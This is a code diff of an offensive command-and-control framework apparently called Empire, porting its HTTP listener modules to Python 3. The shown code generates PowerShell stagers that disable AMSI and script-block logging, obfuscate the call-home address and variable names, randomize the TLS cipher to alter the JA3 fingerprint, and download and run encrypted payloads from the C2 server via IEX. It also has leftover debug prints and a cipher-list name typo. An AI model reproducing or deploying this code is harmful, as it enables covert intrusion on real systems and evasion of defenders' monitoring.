282 stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
283 stager += "'signatures','N'+'onPublic,Static'"
284 stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
285
272 if scriptLogBypass:
273 stager += bypasses.scriptBlockLogBypass()
286274 # @mattifestation's AMSI bypass
287 stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
288 stager += "'System.Management.Automation.AmsiUtils'"
289 stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
290 stager += "'amsiInitFailed','NonPublic,Static'"
291 stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
275 if AMSIBypass:
276 stager += bypasses.AMSIBypass()
277 # rastamouse AMSI bypass
278 if AMSIBypass2:
279 stager += bypasses.AMSIBypass2()
292280 stager += "};"
293281 stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
294282
306294 host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
307295
308296 # code to turn the key string into a byte array
309 stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
297 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("K")+"=[System.Text.Encoding]::ASCII.GetBytes(")
310298 stager += "'%s');" % (stagingKey)
311299
312300 # this is the minimized RC4 stager code from rc4.ps1
313 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
301 stager += helpers.randomize_capitalization('$R={$D,$'+helpers.generate_random_script_var_name("K")+'=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$'+helpers.generate_random_script_var_name("K")+'[$_%$'+helpers.generate_random_script_var_name("K")+'.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
314302
315303 # prebuild the request routing packet for the launcher
304 print("http_com line 306")
316305 routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
317306 b64RoutingPacket = base64.b64encode(routingPacket)
318307
319308 stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
320 stager += "$ser='%s';$t='%s';" % (host, stage0)
309 stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';"
321310
322311 # add the RC4 packet to a header location
323312 stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket)
347336 stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
348337
349338 # decode everything and kick it over to IEX to kick off execution
350 stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
339 stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$"+helpers.generate_random_script_var_name("K")+")) | IEX")
351340
352341 if obfuscate:
353342 stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
359348 return stager
360349
361350 else:
362 print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
351 print(helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."))
363352
364353 else:
365 print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
354 print(helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!"))
366355
367356
368357 def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
371360 """
372361
373362 if not language:
374 print helpers.color('[!] listeners/http_com generate_stager(): no language specified!')
363 print(helpers.color('[!] listeners/http_com generate_stager(): no language specified!'))
375364 return None
376365
377366 profile = listenerOptions['DefaultProfile']['Value']
423412 stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)
424413
425414 randomizedStager = ''
415 stagingKey = stagingKey.encode('UTF-8')
426416
427417 for line in stager.split("\n"):
428418 line = line.strip()
441431 return helpers.enc_powershell(randomizedStager)
442432 elif encrypt:
443433 RC4IV = os.urandom(4)
444 return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
434 return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager.encode('UTF-8'))
445435 else:
446436 # otherwise just return the case-randomized stager
447437 return randomizedStager
448438
449439 else:
450 print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")
440 print(helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module."))
451441
452442
453443 def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""):
456446 """
457447
458448 if not language:
459 print helpers.color('[!] listeners/http_com generate_agent(): no language specified!')
449 print(helpers.color('[!] listeners/http_com generate_agent(): no language specified!'))
460450 return None
461451
462452 language = language.lower()
465455 profile = listenerOptions['DefaultProfile']['Value']
466456 lostLimit = listenerOptions['DefaultLostLimit']['Value']
467457 killDate = listenerOptions['KillDate']['Value']
468 b64DefaultResponse = base64.b64encode(self.default_response())
458 b64DefaultResponse = base64.b64encode(self.default_response().encode('UTF-8'))
469459
470460 if language == 'powershell':
471461
485475 code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
486476 code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
487477 code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
488 code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"')
478 #code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"')
479 code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"')
489480
490481 # patch in the killDate and workingHours if they're specified
491482 if killDate != "":
495486 return code
496487
497488 else:
498 print helpers.color("[!] listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.")
489 print(helpers.color("[!] listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module."))
499490
500491
501492 def generate_comms(self, listenerOptions, language=None):
600591 return updateServers + getTask + sendMessage
601592
602593 else:
603 print helpers.color("[!] listeners/http_com generate_comms(): invalid language specification, only 'powershell' is currently supported for this module.")
594 print(helpers.color("[!] listeners/http_com generate_comms(): invalid language specification, only 'powershell' is currently supported for this module."))
604595 else:
605 print helpers.color('[!] listeners/http_com generate_comms(): no language specified!')
596 print(helpers.color('[!] listeners/http_com generate_comms(): no language specified!'))
606597
607598
608599 def start_server(self, listenerOptions):
643634
644635 @app.after_request
645636 def change_header(response):
646 "Modify the default server version in the response."
647 response.headers['Server'] = listenerOptions['ServerVersion']['Value']
637 "Modify the headers response server."
638 headers = listenerOptions['Headers']['Value']
639 for key in headers.split("|"):
640 value = key.split(":")
641 response.headers[value[0]] = value[1]
648642 return response
649643
650644
688682 listenerName = self.options['Name']['Value']
689683 message = "[*] GET request for {}/{} from {}".format(request.host, request_uri, clientIP)
690684 signal = json.dumps({
691 'print': True,
685 'print': False,
692686 'message': message
693687 })
694688 dispatcher.send(signal, sender="listeners/http_com/{}".format(listenerName))
697691 reqHeader = request.headers.get(listenerOptions['RequestHeader']['Value'])
698692 if reqHeader and reqHeader != '':
699693 try:
700 # decode the routing packet base64 value from the custom HTTP request header location
701 routingPacket = base64.b64decode(reqHeader)
694
695 if reqHeader.startswith("b'"):
696 tmp = repr(reqHeader)[2:-1].replace("'","").encode("UTF-8")
697 else:
698 tmp = reqHeader.encode("UTF-8")
699 routingPacket = base64.b64decode(tmp)
702700 except Exception as e:
703701 routingPacket = None
702 #pass
703
704 #if isinstance(results, str):
704705
705706 if routingPacket:
706707 # parse the routing packet and process the results
708
707709 dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions, clientIP)
710
708711 if dataResults and len(dataResults) > 0:
709712 for (language, results) in dataResults:
710713 if results:
722725 stage = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
723726 return make_response(base64.b64encode(stage), 200)
724727
725 elif results.startswith('ERROR:'):
728 elif results.startswith(b'ERROR:'):
726729 listenerName = self.options['Name']['Value']
727730 message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(request_uri, clientIP, results)
728731 signal = json.dumps({
733736
734737 if 'not in cache' in results:
735738 # signal the client to restage
736 print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
739 print(helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP)))
737740 return make_response(self.default_response(), 401)
738741 else:
739742 return make_response(self.default_response(), 404)
784787 dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, requestData, listenerOptions, clientIP)
785788 if dataResults and len(dataResults) > 0:
786789 for (language, results) in dataResults:
790 if isinstance(results, str):
791 print('results type changed listeners/http_com 782')
792 results = results.encode('UTF-8')
787793 if results:
788 if results.startswith('STAGE2'):
794 print("http_com: 791")
795 print(results)
796 if results.startswith(b'STAGE2'):
789797 # TODO: document the exact results structure returned
790 sessionID = results.split(' ')[1].strip()
798 sessionID = results.split(b' ')[1].strip().decode('UTF-8')
791799 sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
792800
793801 listenerName = self.options['Name']['Value']
805813
806814 return make_response(base64.b64encode(encrypted_agent), 200)
807815
808 elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
816 elif results[:10].lower().startswith(b'error') or results[:10].lower().startswith(b'exception'):
809817 listenerName = self.options['Name']['Value']
810818 message = "[!] Error returned for results by {} : {}".format(clientIP, results)
811819 signal = json.dumps({
847855
848856 context = ssl.SSLContext(proto)
849857 context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
858 #setting the cipher list allows for modification of the JA3 signature. Select a random cipher to change
859 #it every time the listener is launched
860 ipherlist = ["ECDHE-RSA-AES256-GCM-SHA384", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-AES256-SHA384",
861 "ECDHE-RSA-AES256-SHA", "AES256-SHA256", "AES128-SHA256"]
862 selectciph = random.choice(cipherlist)
863 context.set_ciphers(selectciph)
850864 app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
851865 else:
852866 app.run(host=bindIP, port=int(port), threaded=True)
890904 """
891905
892906 if name and name != '':
893 print helpers.color("[!] Killing listener '%s'" % (name))
907 print(helpers.color("[!] Killing listener '%s'" % (name)))
894908 self.threads[name].kill()
895909 else:
896 print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
910 print(helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])))
897911 self.threads[self.options['Name']['Value']].kill()
+51
-69
lib/listeners/http_foreign.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 import random
25
811 from lib.common import messages
912
1013
11 class Listener:
14 class Listener(object):
1215
1316 def __init__(self, mainMenu, params=[]):
1417
3740 'Host' : {
3841 'Description' : 'Hostname/IP for staging.',
3942 'Required' : True,
40 'Value' : "http://%s:%s" % (helpers.lhost(), 80)
43 'Value' : "http://%s" % (helpers.lhost())
4144 },
4245 'Port' : {
4346 'Description' : 'Port for the listener.',
4447 'Required' : True,
45 'Value' : 80
48 'Value' : ''
4649 },
4750 'Launcher' : {
4851 'Description' : 'Launcher string.',
125128
126129 for key in self.options:
127130 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
128 print helpers.color("[!] Option \"%s\" is required." % (key))
131 print(helpers.color("[!] Option \"%s\" is required." % (key)))
129132 return False
130133
131134 return True
132135
133136
134 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
137 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
135138 """
136139 Generate a basic launcher for the specified listener.
137140 """
138141
139142 if not language:
140 print helpers.color('[!] listeners/http_foreign generate_launcher(): no language specified!')
143 print(helpers.color('[!] listeners/http_foreign generate_launcher(): no language specified!'))
141144
142145 if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
143146
157160 stager = '$ErrorActionPreference = \"SilentlyContinue\";'
158161 if safeChecks.lower() == 'true':
159162 stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
160
161163 # ScriptBlock Logging bypass
162 stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
163 stager += "'System.Management.Automation.Utils'"
164 stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
165 stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
166 stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
167 stager += "['ScriptB'+'lockLogging']"
168 stager += helpers.randomize_capitalization("){$GPC")
169 stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
170 stager += helpers.randomize_capitalization("$GPC")
171 stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
172 stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
173 stager += "('EnableScriptB'+'lockLogging',0);"
174 stager += helpers.randomize_capitalization("$val.Add")
175 stager += "('EnableScriptBlockInvocationLogging',0);"
176 stager += helpers.randomize_capitalization("$GPC")
177 stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
178 stager += helpers.randomize_capitalization("=$val}")
179 stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
180 stager += "'signatures','N'+'onPublic,Static'"
181 stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
182
164 if scriptLogBypass:
165 stager += bypasses.scriptBlockLogBypass()
183166 # @mattifestation's AMSI bypass
184 stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
185 stager += "'System.Management.Automation.AmsiUtils'"
186 stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
187 stager += "'amsiInitFailed','NonPublic,Static'"
188 stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
167 if AMSIBypass:
168 stager += bypasses.AMSIBypass()
169 # rastamouse AMSI bypass
170 if AMSIBypass2:
171 stager += bypasses.AMSIBypass2()
189172 stager += "};"
190173 stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
191174
192 stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
175 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+"=New-Object System.Net.WebClient;")
193176
194177 if userAgent.lower() == 'default':
195178 profile = listenerOptions['DefaultProfile']['Value']
203186 if userAgent.lower() != 'none' or proxy.lower() != 'none':
204187
205188 if userAgent.lower() != 'none':
206 stager += helpers.randomize_capitalization('$wc.Headers.Add(')
189 stager += helpers.randomize_capitalization('$'+helpers.generate_random_script_var_name("wc")+'.Headers.Add(')
207190 stager += "'User-Agent',$u);"
208191
209192 if proxy.lower() != 'none':
210193 if proxy.lower() == 'default':
211 stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
194 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
212195 else:
213196 # TODO: implement form for other proxy
214197 stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
215198 stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
216 stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
199 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy = $proxy;")
217200 if proxyCreds.lower() == "default":
218 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
201 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
219202 else:
220203 # TODO: implement form for other proxy credentials
221204 username = proxyCreds.split(':')[0]
223206 domain = username.split('\\')[0]
224207 usr = username.split('\\')[1]
225208 stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
226 stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
209 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = $netcred;")
227210
228211 # TODO: reimplement stager retries?
229212
232215 for header in customHeaders:
233216 headerKey = header.split(':')[0]
234217 headerValue = header.split(':')[1]
235 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
218 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
236219 stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
237220
238221 # code to turn the key string into a byte array
247230 b64RoutingPacket = base64.b64encode(routingPacket)
248231
249232 # add the RC4 packet to a cookie
250 stager += helpers.randomize_capitalization("$wc.Headers.Add(")
233 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
251234 stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
252235
253 stager += "$ser='%s';$t='%s';" % (host, stage0)
254 stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);")
236 stager += "$ser='%s';$t='%s';" % (helpers.obfuscate_call_home_address(host), stage0)
237 stager += helpers.randomize_capitalization("$data=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser+$t);")
255238 stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
256239
257240 # decode everything and kick it over to IEX to kick off execution
278261 if safeChecks.lower() == 'true':
279262 launcherBase += "import re, subprocess;"
280263 launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
281 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
282 launcherBase += "out = ps.stdout.read()\n"
283 launcherBase += "ps.stdout.close()\n"
264 launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
265 launcherBase += "out, err = ps.communicate()\n"
284266 launcherBase += "if re.search(\"Little Snitch\", out):\n"
285267 launcherBase += " sys.exit()\n"
286268 except Exception as e:
287269 p = "[!] Error setting LittleSnitch in stagger: " + str(e)
288 print helpers.color(p, color='red')
270 print(helpers.color(p, color='red'))
289271
290272 if userAgent.lower() == 'default':
291273 profile = listenerOptions['DefaultProfile']['Value']
354336 return launcherBase
355337
356338 else:
357 print helpers.color("[!] listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.")
339 print(helpers.color("[!] listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."))
358340
359341 else:
360 print helpers.color("[!] listeners/http_foreign generate_launcher(): invalid listener name specification!")
342 print(helpers.color("[!] listeners/http_foreign generate_launcher(): invalid listener name specification!"))
361343
362344
363345 def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
365347 If you want to support staging for the listener module, generate_stager must be
366348 implemented to return the stage1 key-negotiation stager code.
367349 """
368 print helpers.color("[!] generate_stager() not implemented for listeners/template")
350 print(helpers.color("[!] generate_stager() not implemented for listeners/template"))
369351 return ''
370352
371353
374356 If you want to support staging for the listener module, generate_agent must be
375357 implemented to return the actual staged agent code.
376358 """
377 print helpers.color("[!] generate_agent() not implemented for listeners/template")
359 print(helpers.color("[!] generate_agent() not implemented for listeners/template"))
378360 return ''
379361
380362
400382 if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
401383
402384 # meta 'TASKING_REQUEST' : 4
403 $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4
404 $RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
385 $"""+helpers.generate_random_script_var_name("RoutingPacket")+""" = New-RoutingPacket -EncData $Null -Meta 4
386 $RoutingCookie = [Convert]::ToBase64String($"""+helpers.generate_random_script_var_name("RoutingPacket")+""")
405387
406388 # build the web request object
407 $wc = New-Object System.Net.WebClient
389 $"""+helpers.generate_random_script_var_name("wc")+""" = New-Object System.Net.WebClient
408390
409391 # set the proxy settings for the WC to be the default system settings
410 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
411 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
412 $wc.Headers.Add("User-Agent",$script:UserAgent)
413 $script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)}
414 $wc.Headers.Add("Cookie", "session=$RoutingCookie")
392 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
393 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
394 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add("User-Agent",$script:UserAgent)
395 $script:Headers.GetEnumerator() | % {$"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add($_.Name, $_.Value)}
396 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add("Cookie", "session=$RoutingCookie")
415397
416398 # choose a random valid URI for checkin
417399 $taskURI = $script:TaskURIs | Get-Random
418 $result = $wc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
400 $result = $"""+helpers.generate_random_script_var_name("wc")+""".DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
419401 $result
420402 }
421403 }
439421
440422 # build the top level RC4 "routing packet"
441423 # meta 'RESULT_POST' : 5
442 $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5
424 $"""+helpers.generate_random_script_var_name("RoutingPacket")+""" = New-RoutingPacket -EncData $EncBytes -Meta 5
443425
444426 if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
445427 # build the web request object
446 $wc = New-Object System.Net.WebClient
428 $"""+helpers.generate_random_script_var_name("wc")+""" = New-Object System.Net.WebClient
447429 # set the proxy settings for the WC to be the default system settings
448 $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
449 $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
450 $wc.Headers.Add('User-Agent', $Script:UserAgent)
451 $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
430 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
431 $"""+helpers.generate_random_script_var_name("wc")+""".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
432 $"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add('User-Agent', $Script:UserAgent)
433 $Script:Headers.GetEnumerator() | ForEach-Object {$"""+helpers.generate_random_script_var_name("wc")+""".Headers.Add($_.Name, $_.Value)}
452434
453435 try{
454436 # get a random posting URI
455437 $taskURI = $Script:TaskURIs | Get-Random
456 $response = $wc.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
438 $response = $"""+helpers.generate_random_script_var_name("wc")+""".UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $"""+helpers.generate_random_script_var_name("RoutingPacket")+""");
457439 }
458440 catch [System.Net.WebException]{
459441 # exception posting data...
523505 return updateServers + sendMessage
524506
525507 else:
526 print helpers.color("[!] listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module.")
508 print(helpers.color("[!] listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."))
527509 else:
528 print helpers.color('[!] listeners/http_foreign generate_comms(): no language specified!')
510 print(helpers.color('[!] listeners/http_foreign generate_comms(): no language specified!'))
529511
530512
531513 def start(self, name=''):
+59
-75
lib/listeners/http_hop.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import base64
14 import random
25 import os
811 from lib.common import encryption
912 from lib.common import packets
1013 from lib.common import messages
11
12
13 class Listener:
14 from lib.common import bypasses
15
16
17 class Listener(object):
1418
1519 def __init__(self, mainMenu, params=[]):
1620
5963 'Port' : {
6064 'Description' : 'Port for the listener.',
6165 'Required' : True,
62 'Value' : 80
66 'Value' : ''
6367 },
6468 'DefaultProfile' : {
6569 'Description' : 'Default communication profile for the agent, extracted from RedirectListener automatically.',
105109
106110 for key in self.options:
107111 if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
108 print helpers.color("[!] Option \"%s\" is required." % (key))
112 print(helpers.color("[!] Option \"%s\" is required." % (key)))
109113 return False
110114
111115 return True
112116
113117
114 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
118 def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
115119 """
116120 Generate a basic launcher for the specified listener.
117121 """
118122
119123 if not language:
120 print helpers.color('[!] listeners/http_hop generate_launcher(): no language specified!')
124 print(helpers.color('[!] listeners/http_hop generate_launcher(): no language specified!'))
121125
122126 if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
123127
136140 stager = '$ErrorActionPreference = \"SilentlyContinue\";'
137141 if safeChecks.lower() == 'true':
138142 stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
139
140143 # ScriptBlock Logging bypass
141 stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
142 stager += "'System.Management.Automation.Utils'"
143 stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
144 stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
145 stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
146 stager += "['ScriptB'+'lockLogging']"
147 stager += helpers.randomize_capitalization("){$GPC")
148 stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
149 stager += helpers.randomize_capitalization("$GPC")
150 stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
151 stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
152 stager += "('EnableScriptB'+'lockLogging',0);"
153 stager += helpers.randomize_capitalization("$val.Add")
154 stager += "('EnableScriptBlockInvocationLogging',0);"
155 stager += helpers.randomize_capitalization("$GPC")
156 stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
157 stager += helpers.randomize_capitalization("=$val}")
158 stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
159 stager += "'signatures','N'+'onPublic,Static'"
160 stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
161
144 if scriptLogBypass:
145 stager += bypasses.scriptBlockLogBypass()
162146 # @mattifestation's AMSI bypass
163 stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
164 stager += "'System.Management.Automation.AmsiUtils'"
165 stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
166 stager += "'amsiInitFailed','NonPublic,Static'"
167 stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
147 if AMSIBypass:
148 stager += bypasses.AMSIBypass()
149 # rastamouse AMSI bypass
150 if AMSIBypass2:
151 stager += bypasses.AMSIBypass2()
168152 stager += "};"
169153 stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
170154
171 stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
155 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+"=New-Object System.Net.WebClient;")
172156
173157 if userAgent.lower() == 'default':
174158 userAgent = profile.split('|')[1]
181165 if userAgent.lower() != 'none' or proxy.lower() != 'none':
182166
183167 if userAgent.lower() != 'none':
184 stager += helpers.randomize_capitalization('$wc.Headers.Add(')
168 stager += helpers.randomize_capitalization('$'+helpers.generate_random_script_var_name("wc")+'.Headers.Add(')
185169 stager += "'User-Agent',$u);"
186170
187171 if proxy.lower() != 'none':
188172 if proxy.lower() == 'default':
189 stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
173 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
190174 else:
191175 # TODO: implement form for other proxy
192176 stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
193177 stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
194 stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
178 stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy = $proxy;")
195179 if proxyCreds.lower() == "default":
